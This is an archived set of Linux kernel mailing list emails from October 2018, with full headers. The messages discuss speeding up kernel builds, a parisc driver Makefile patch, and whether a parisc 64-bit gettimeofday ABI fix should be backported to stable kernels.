        Wed,  3 Oct 2018 22:00:40 -0400 (EDT)
In-Reply-To: <CADvQ+rE8qQmSangHOCrJo7aAD-BJiN3Gt2hCi-3O8uRTgXnP-w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889587 gmane.linux.oprofile:13260 gmane.linux.ports.parisc:29078
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889587>

On Wed, 3 Oct 2018, Leonardo Bras wrote:

> Both ccache and distcc seem very interesting, I will take my time to 
> study them better as they can solve some situations I face. Thanks for 
> sharing!
> 

You might also want to check out 'gcc -O0', 'gcc -fopt-info' and 'gcc 
--help=optimizers' etc to see if you can reduce the compute cost.

To reduce IO cost, my build tests always use 'make O=/some/path' where 
/some/path is on a tmpfs mountpoint.

HTH.

-- 


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Wed, 03 Oct 2018 21:41:02 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <1538628062.18776.5.camel@HansenPartnership.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
         <20180928020816.11251-4-leobras.c@gmail.com>
         <1538118915.3593.4.camel@HansenPartnership.com>
         <CADvQ+rGQenkoE0xCRTwjA5BuKZbZ2Upkyx=+qWFUGnUcit-aCQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538627944 1738 195.159.176.226 (4 Oct 2018 04:39:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 04:39:04 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org
To: Leonardo Bras <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 06:38:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7vPe-0000HP-Jk
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 06:38:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727319AbeJDLc3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 07:32:29 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56446 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1726852AbeJDLc2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 07:32:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 51C738EE23D;
        Wed,  3 Oct 2018 21:41:05 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id HDiabn4ku5Km; Wed,  3 Oct 2018 21:41:05 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [50.35.68.20])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6ADA38EE0E9;
        Wed,  3 Oct 2018 21:41:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1538628065;
        bh=k9E3ywKzu2M72+stQC+2PkkPyAcqiHxnxJTzEA8t7S4=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=NX4PELhqmgn/syFRRvbGYn6lhMEUb2o3qkiu3AsXIMzSA3J5yJg/7JlfkhrNdaI03
         BrE7LLpWKDLMGWQnwPv1V6yjuffGozTPBFbbvtOqd8i1klCYpt1B4bS8jaQ1pdMJVZ
         TjyACY5lUnkwsGtEucEsEho6P+VLFGJiTrFf/O60=
In-Reply-To: <CADvQ+rGQenkoE0xCRTwjA5BuKZbZ2Upkyx=+qWFUGnUcit-aCQ@mail.gmail.com>
X-Mailer: Evolution 3.22.6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889636 gmane.linux.oprofile:13261 gmane.linux.ports.parisc:29079
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889636>

On Wed, 2018-10-03 at 21:31 -0300, Leonardo Bras wrote:
> On Fri, Sep 28, 2018 at 4:15 AM James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > 
> > On Thu, 2018-09-27 at 23:08 -0300, Leonardo Brás wrote:
> > > Avoids building driver if 'make drivers/parisc/' is called and
> > > CONFIG_PARISC is disabled.
> > 
> > Is that really a problem? The drivers/Makefile has this:
> > 
> > obj-$(CONFIG_PARISC)            += parisc/
> > And you just overrode that by forcing the build.  It's not even
> > clear we should refuse the build in that case; how would we know
> > you don't have a legitimate reason for the override?
> > 
> 
> Sorry I did not explained my reasons earlier. I sent everybody
> involved an e-mail explaining the full reason of this change.
> (For reference it's here: https://lkml.org/lkml/2018/10/3/707)

Well it's not really that persuasive.  Most people simply let the build
run to completion, but if you have a problem with a job control 3h
timelimit, then create a job that kills itself at 2:59 and then
resubmits itself.  That will produce a complete build in 3h chunks
without any need to call sub Makefiles.

All of our Makefiles are coded assuming the upper level can prevent
descent into the lower ones.  You're proposing to change that
assumption, requiring a fairly large patch set, which doesn't really
seem to provide a huge benefit.

James


> > Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
> > > ---
> > >  drivers/parisc/Makefile | 2 +-
> > >  1 file changed, 1 insertion(+), 1 deletion(-)
> > > 
> > > diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
> > > index 3cd5e6cb8478..80049d763aa0 100644
> > > --- a/drivers/parisc/Makefile
> > > +++ b/drivers/parisc/Makefile
> > > @@ -24,5 +24,5 @@ obj-$(CONFIG_EISA)          += eisa.o
> > > eisa_enumerator.o eisa_eeprom.o
> > >  obj-$(CONFIG_SUPERIO)                += superio.o
> > >  obj-$(CONFIG_CHASSIS_LCD_LED)        += led.o
> > >  obj-$(CONFIG_PDC_STABLE)     += pdc_stable.o
> > > -obj-y                                += power.o
> > > +obj-$(CONFIG_PARISC)         += power.o
> > 
> > If we conclude the use case is legitimate, that's not enough: the
> > two
> > inner symbols are PARISC only but CONFIG_EISA isn't.
> 
> You are right.
> It worked for my needs because I am only building the drivers, and
> not linking them. But i believe doing something like I did in
> zorro/Makefile would fix this all. (For reference,
> https://lkml.org/lkml/2018/9/28/150 )
> 
> If you agree, I will send the next patchset with this change.
> 
> Thanks for your help!
> 
> Leonardo Bras
> 



From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Thu, 4 Oct 2018 10:41:52 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <ed8a12d5-604f-c938-f65d-051e05561dc6@gmx.de>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
 <20181002222452.GB11788@kroah.com>
 <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de>
 <20181003181612.GB28575@kroah.com>
 <CAK8P3a2ntPX4+LbYWJbDG1k-8NwkhyY0nYk-mfZU2FBF_h23Yw@mail.gmail.com>
 <20181003230226.GB27729@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538642401 22938 195.159.176.226 (4 Oct 2018 08:40:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 08:40:01 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James.Bottomley@hansenpartnership.com,
        John David Anglin <dave.anglin@bell.net>
To: gregkh <gregkh@linuxfoundation.org>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 10:39:57 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7zAp-0005pQ-EO
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 10:39:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727428AbeJDPeO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 11:34:14 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59653 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726857AbeJDPeO (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 11:34:14 -0400
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Ldbqw-1fQQzY3OUM-00ikM9; Thu, 04
 Oct 2018 10:41:54 +0200
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Ldbqw-1fQQzY3OUM-00ikM9; Thu, 04
 Oct 2018 10:41:54 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20181003230226.GB27729@kroah.com>
Content-Language: en-US
X-Provags-ID: V03:K1:E3l9aaPyz7Euy3KAuVeAVYqxMcF9M8n3V2+wJ1ZqwUmlGpi+suh
 sicdR3XkOv9YKuv7KZbXo613Xos+omIHoSgFK+fYwMyK8lc696DlOsIGcU/EG2nFhTcrjl6
 QQWoxUF7P1LIeoLNv6GOW8yh3fef2liZ0CAq+IvFZA5pGgeQ3H8BAXlBwjr8uLwg7Ewyw4E
 WbWQm2hFlq9N6K6HfB1FA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Xajsqg9UiIM=:606w40qsMn1SJCC0wqk+Yu
 pY3MW6LydvHBMQ7OLutE20t6/r9BOaUNNeeplO9vSmTbH5cZMxcqqkUQhZHRz2R0SPmcX7sgD
 hYwMMj0H8Fkz8c3exvmFo7O+rvqFL1azogYeKY+vTBbxjLZAve3wGHpvdKWP13JWKD4dygcmF
 VJs4zTO7n7xie1BdclCDpOTIsI63+ymYEicvtZaoSepwz6BPb+qD0htOXScCELphKMy38yp4R
 0tKHv8vHlHL3aKdY9vd8hsNMrGmTSjppVI3TpCZS6UzwL4yhLm0Z/cUHGLx6KFp8MYE5aKSS+
 Pievmz5OH0e4BMBo1W6bL+xxbG4IzElPvpqeWXh6zCQ+mJsiyUKS60GVoUbBDXWNFla4kQDLE
 wV+rd8v0UvBHYmtE7eAAdAfDKTXqwHeN6xfFhAgLMEEzHmlHUdjwCGUG7ZACULvjwU4nXAaml
 ZNCKInAqgViYfyY1RfhybM126PLTwy2uyfqsMuhOkuHnos63m9CcD/Bs+6nmk2oS6sbd6wwU7
 nGFGFJJ9+c9rsvk2RTnarSxH+F+o2LeONq7etq/D+FtvoQMrPWo893gMKGf097vXTDRLmZpjI
 Z6/q/hsKW/4J8CwRuTq9V7rc5e2QUXu+TGgo59U105mtlec/3CLh55PdNlY4/dZB0lKJW1zuX
 M6AFTxAnFvnZRYtu1DuDJ/jdXD7N6jTIIOhsh7x0Bdh9bJUkr3MJC7ldFBm7dNhcR2QzIs+ro
 +Vl3AgbYtluppTFP7+0b0/AyBDhO5EXNGMWbw/GDfjS8lFsDZH9Q35hnyw997AYfKVV4EZnS 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889784 gmane.linux.ports.parisc:29080
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889784>

On 04.10.2018 01:02, gregkh wrote:
> On Wed, Oct 03, 2018 at 09:49:08PM +0200, Arnd Bergmann wrote:
>> On Wed, Oct 3, 2018 at 8:16 PM Greg Kroah-Hartman
>> <gregkh@linuxfoundation.org> wrote:
>>> On Wed, Oct 03, 2018 at 04:47:30PM +0200, Helge Deller wrote:
>>>> On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
>>>>> On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
>>>>>>
>>>>>> I've tagged it for stable release.
>>>>>> So, it can go in now, or just wait until -rc1 and go in later.
>>>>>
>>>>> Why is a major API change a viable stable change?
>>>>
>>>> Of course it's not.
>>>> Esp. not if an API has been used already.
>>>> IMHO, this case is really different though...
>>>>
>>>>> What bugfix does it provide?
>>>>
>>>> It fixes that code in stable kernels which would return wrong
>>>> time values *if* someone would create a libc for 64-bit parisc
>>>> and would run it with those "stable" kernels.
>>>> Fixing it now has no side-effects, the change is a trivial
>>>> 2-line-removal patch, would bring the code in sync with
>>>> newer kernel source code, and it really fixes existing code.
>>>>
>>>> I still believe that this justifies for a backport.
>>>>
>>>> Nevertheless, if you really disagree, I'm fine dropping the
>>>> backport to stable and will only push it in the next
>>>> merge window for v4.20.
>>>
>>> To clarify, you have no users of this api anywhere (hopefully), and so
>>> the patch in question prevents anyone from using the api in the future.
>>> This makes the suseconds_t handling easier for some reason because only
>>> sparc32 is a "problem" now, right?
>>>
>>> So I don't see the "bug" that is being fixed here.  I would have pushed
>>> back on the submission for this for the stable trees as well, this isn't
>>> anything that anyone is using, so there's nothing to "fix" that I can
>>> tell.
>>>
>>> Yes, doing it in the "future" is fine, to prevent anyone from making
>>> this mistake (are new machines even being made for this arch?)  But I
>>> don't see how this is a -stable issue.
>>
>> The issue here is that glibc has in theory supported 64-bit parisc
>> user space for a long time, but it has never worked because of the
>> mismatch. It is very likely that there other problems like it that
>> /also/ prevent it from working.
>>
>> Between changing kernel or glibc, I think it's clear that the glibc
>> has made the better choice of being compatible with all other
>> architectures (except sparc64), so changing the kernel is better
>> here.
>>
>> Between fixing it this late, or doing it for the next merge window,
>> I don't care. There clearly are no users that are affected by it
>> today, and if there were, this would fix an important bug, both
>> security (kernel stack information leak) and functionality
>> (improving accuracy of gettimeofday() from seconds to
>> microseconds).
>>
>> Between backporting it to stable or not, I'd be in favor of the
>> backport: If we ever want to support 64-bit user space on parisc,
>> then it's better to have stable kernels get the same working
>> ABI that new kernels have after the fix (and any other fixes we
>> may require on top). 

Ack.

>> Or to put it another way: If the argument is
>> that there won't ever be a 64-bit user space for parisc 

FYI, I was planning to try a 64-bit user space at some point.
Just see my recent patches and mails, e.g. 
b6fc0cccb6b35815a7d1cfc9279cdbfc2c61d00d
5b00ca0b8035e49ef7c466e959c5cb457a654351
and
https://www.spinics.net/lists/linux-parisc/msg09070.html

>> and we don't care about it, 

I (and a few others) do care about it.

>> then we'd be better of removing all native 64-bit
>> syscalls from arch/parisc/kernel/syscall_table.S.
> 
> Ok, then let's treat this like any other arch/driver/subsystem that we
> remove.  Drop the file(s) in a -rc1 merge window and then if anyone
> object to it later on because they really were using it, you can easily
> revert that change.

As a maintainer of this port, I object to this.
You suggest to remove a working, functional and maintained interface for no good use.
Removing it won't save lots of bytes in the executable (or source code)
but will make my life as maintainer harder.

Thanks,
Helge

> 
> We do not backport removals of drivers/subsystems/arches to stable
> kernels, so this shouldn't happen here either.
> 
> thanks,
> 
> greg k-h


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Thu, 4 Oct 2018 15:34:31 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <CAK8P3a3HCBY8+xK_o50aswFsrb1EVCFATV4zwqfNqHUDqtDa_w@mail.gmail.com>
References: <20181002210213.GA17826@ls3530.fritz.box> <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de> <20181002222452.GB11788@kroah.com>
 <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de> <20181003181612.GB28575@kroah.com>
 <CAK8P3a2ntPX4+LbYWJbDG1k-8NwkhyY0nYk-mfZU2FBF_h23Yw@mail.gmail.com>
 <20181003230226.GB27729@kroah.com> <ed8a12d5-604f-c938-f65d-051e05561dc6@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538659972 10690 195.159.176.226 (4 Oct 2018 13:32:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 13:32:52 +0000 (UTC)
Cc: gregkh <gregkh@linuxfoundation.org>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James.Bottomley@hansenpartnership.com,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 15:32:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g83kA-0002WL-5f
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 15:32:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728011AbeJDU2J (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 16:28:09 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:44066 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727415AbeJDU2J (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 16:28:09 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id c56-v6so9814768qtd.11;
        Thu, 04 Oct 2018 06:34:48 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=LxtndgWwJ3jOqz+8lR7DIcBExQhEd0Gsz7AWaJkxc3E=;
        b=pGbIMyvqMbzPKrdzBeF+GnofDHWKq+YOs2DPD6SKX0Frkg91kUAhYd3469ucklUeuX
         VHfglLf1rYDwuu0mQE67bVoxs+whEqC7/Af2B8V8mP9+QBfOZzV4C7P9pqr0FfUtsFT2
         ONoCPMAvXjsvonvHEG5i9LFbkOzLtG1pn3mJhB3qf786CVv02FDw6lu98xDM0xsH5fDx
         aI/U3iCbzNa1+Wlq2ctRaqYqZH+3/oS9X4C/YdyFMt5mPWToWyn2OA+ozd2Zj8yPjAS8
         o75fPz+I1fWVMnjAyQZBVAlivgcm8+gbVg3VgL0oG6SiA4VegsqpuWmW++gNOib89PU9
         vqmA==
X-Gm-Message-State: ABuFfoh7cGQEBtL7qoJwyGlIefujdNHCI7D4QxZg72OSLaEh9Wel/sOm
        5ZoL0skeKdZdv4E224QsqzdKWjWzlBOOJeT5PXA=
X-Google-Smtp-Source: ACcGV62HJAp3QYWeloa6ANx0Oto4qDQDxrnREANovY2Wo+LfY9bnbX9fddI7IpCUnp8f7cPHxyCNTDDhjQ388QwPuVE=
X-Received: by 2002:a0c:ad8e:: with SMTP id w14-v6mr5249015qvc.149.1538660088085;
 Thu, 04 Oct 2018 06:34:48 -0700 (PDT)
In-Reply-To: <ed8a12d5-604f-c938-f65d-051e05561dc6@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2890074 gmane.linux.ports.parisc:29081
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2890074>

On Thu, Oct 4, 2018 at 10:42 AM Helge Deller <deller@gmx.de> wrote:
> On 04.10.2018 01:02, gregkh wrote:
> > On Wed, Oct 03, 2018 at 09:49:08PM +0200, Arnd Bergmann wrote:
> >> On Wed, Oct 3, 2018 at 8:16 PM Greg Kroah-Hartman
> >> <gregkh@linuxfoundation.org> wrote:
> >>> On Wed, Oct 03, 2018 at 04:47:30PM +0200, Helge Deller wrote:
> >>>> On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
> >>>>> On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
> >> Or to put it another way: If the argument is
> >> that there won't ever be a 64-bit user space for parisc
>
> FYI, I was planning to try a 64-bit user space at some point.
> Just see my recent patches and mails, e.g.
> b6fc0cccb6b35815a7d1cfc9279cdbfc2c61d00d
> 5b00ca0b8035e49ef7c466e959c5cb457a654351
> and
> https://www.spinics.net/lists/linux-parisc/msg09070.html
>
> >> and we don't care about it,
>
> I (and a few others) do care about it.
>
> >> then we'd be better of removing all native 64-bit
> >> syscalls from arch/parisc/kernel/syscall_table.S.
> >
> > Ok, then let's treat this like any other arch/driver/subsystem that we
> > remove.  Drop the file(s) in a -rc1 merge window and then if anyone
> > object to it later on because they really were using it, you can easily
> > revert that change.
>
> As a maintainer of this port, I object to this.
> You suggest to remove a working, functional and maintained interface for no good use.
> Removing it won't save lots of bytes in the executable (or source code)
> but will make my life as maintainer harder.

Makes sense. I was basing my thoughts on the observation that
nobody did this in the last 18 years that he port has been around,
but if you still plan to do this, then we should not regress.

What is your current estimate for how many more patches
are required to get it working reasonably well? Did you plan
to have commit 5b00ca0b8035 ("parisc: Restore possibility
to execute 64-bit applications") backported to stable kernels,
or just get it working in future versions?
I suppose we either want to backport that patch and mine,
or neither of them.

         Arnd


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Thu, 4 Oct 2018 16:30:22 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <9ba92a5e-c447-f894-5263-3d7220716f87@gmx.de>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
 <20181002222452.GB11788@kroah.com>
 <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de>
 <20181003181612.GB28575@kroah.com>
 <CAK8P3a2ntPX4+LbYWJbDG1k-8NwkhyY0nYk-mfZU2FBF_h23Yw@mail.gmail.com>
 <20181003230226.GB27729@kroah.com>
 <ed8a12d5-604f-c938-f65d-051e05561dc6@gmx.de>
 <CAK8P3a3HCBY8+xK_o50aswFsrb1EVCFATV4zwqfNqHUDqtDa_w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538663311 1769 195.159.176.226 (4 Oct 2018 14:28:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 14:28:31 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: gregkh <gregkh@linuxfoundation.org>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James.Bottomley@hansenpartnership.com,
        John David Anglin <dave.anglin@bell.net>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 16:28:27 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g84c5-0000Jm-Ng
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 16:28:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727716AbeJDVYH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 17:24:07 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:34273 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727322AbeJDVYH (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 17:24:07 -0400
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Mg3h3-1gKWzk2Fk5-00NU5V; Thu, 04
 Oct 2018 16:30:25 +0200
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Mg3h3-1gKWzk2Fk5-00NU5V; Thu, 04
 Oct 2018 16:30:25 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
